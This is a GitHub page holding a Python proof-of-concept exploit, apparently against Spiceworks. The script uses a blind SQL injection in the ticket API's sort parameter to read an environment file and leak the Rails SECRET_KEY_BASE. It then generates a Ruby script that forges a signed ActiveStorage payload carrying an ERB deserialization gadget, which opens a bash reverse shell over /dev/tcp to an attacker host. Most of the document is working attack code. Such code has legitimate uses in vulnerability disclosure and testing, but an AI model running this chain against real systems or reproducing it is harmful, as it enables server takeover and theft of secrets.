-
Notifications
You must be signed in to change notification settings - Fork 1
/
poc.py
113 lines (100 loc) · 3.76 KB
/
poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/env python3
import requests
import string
import re
import argparse
from urllib3.exceptions import InsecureRequestWarning
# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def start_session():
s = requests.session()
s.verify = False
s.get(base_url + '/sign_in')
s.post(base_url + '/auth/identity/callback', data={"auth_key": username, "password": password})
return s
def test_boolean_statement(payload):
SQL = '(SELECT (CASE WHEN ({payload}) THEN 1 ELSE 1/(SELECT 0) END))'
r = s.get(vuln_url + SQL.format(payload=payload).replace(' ', '/**/'))
return r.status_code == 200
def next_char_is(c, leaked):
return test_boolean_statement(f"select ascii(pg_read_file('{env_path}',{len(leaked)},1))={ord(c)}")
def leak_secret_key():
charset = string.printable
p = re.compile('SECRET_KEY_BASE="([0-9A-Fa-f]+)"')
leaked = ''
print(f"Starting to leak {env_path}")
while True:
found = False
for c in charset:
if next_char_is(c, leaked):
leaked += c
found = True
print(f"{leaked.splitlines()[-1]}", end='\r')
if c == '\n': print()
break
if not found:
print("exhausted charset and didn't find a match, exiting")
exit(1)
if p.search(leaked) is not None:
m = p.search(leaked)
return m.group(1)
def write_ruby_poc():
exploit_template = f"""#!/usr/bin/env ruby
require "base64"
require "erb"
require "./config/environment"
require 'uri'
require 'net/http'
base_url = "{base_url}/rails/active_storage/disk/"
secret_key_base = "{secret_base_key}"
key_generator = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
secret = key_generator.generate_key("ActiveStorage")
verifier = ActiveSupport::MessageVerifier.new(secret)
code = '`/bin/bash -c "/bin/bash -i &> /dev/tcp/{lhost}/{lport} 0>&1"`'
erb = ERB.allocate
erb.instance_variable_set :@src, code
erb.instance_variable_set :@filename, "1"
erb.instance_variable_set :@lineno, 1
dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
payload = verifier.generate(dump_target, purpose: :blob_key)
vuln_url = base_url + payload + '/doesnotexist'
uri = URI(vuln_url)
req = Net::HTTP::Get.new(uri.path)
res = Net::HTTP.start(
uri.host, uri.port,
:use_ssl => uri.scheme == 'https',
:verify_mode => OpenSSL::SSL::VERIFY_NONE) do |https|
https.request(req)
end
"""
dir = "rce/"
filename = "rce.rb"
with open(dir + filename, "w") as outfile:
outfile.write(exploit_template)
print(f"RCE exploit saved to {filename}")
print(f"To get a reverse shell:\n\t1. Setup a listener on {lhost}:{lport}\n\t2. Execute PoC with: cd {dir} && ruby {filename}")
def parse_args():
# parse the arguments
parser = argparse.ArgumentParser(description="There's a SQLi in a `sort` parameter of Spiceworks. The exploit chain is SQLi -> file read -> RCE.")
parser.add_argument('--rhost', help="https://example.com", required=True)
parser.add_argument('--lhost', help="10.10.10.10", required=True)
parser.add_argument('--lport', help="9001", required=True)
parser.add_argument('-u', '--user', help="[email protected]", required=True)
parser.add_argument('-p', '--password', help="P@$$w0rd!", required=True)
parser.add_argument('-e', '--env_path', help="Path to environment variables", default='/var/opt/tron/etc/env')
return parser.parse_args()
if __name__ == '__main__':
# parse args
args = parse_args()
base_url = args.rhost
lhost = args.lhost
lport = args.lport
username = args.user
password = args.password
env_path = args.env_path
# start exploit
vuln_url = base_url + '/api/tickets?filter%5Bstatus%5D%5Beq%5D=open&sort='
s = start_session()
secret_base_key = leak_secret_key()
print(f"Leaked secret_base_key: {secret_base_key}")
write_ruby_poc()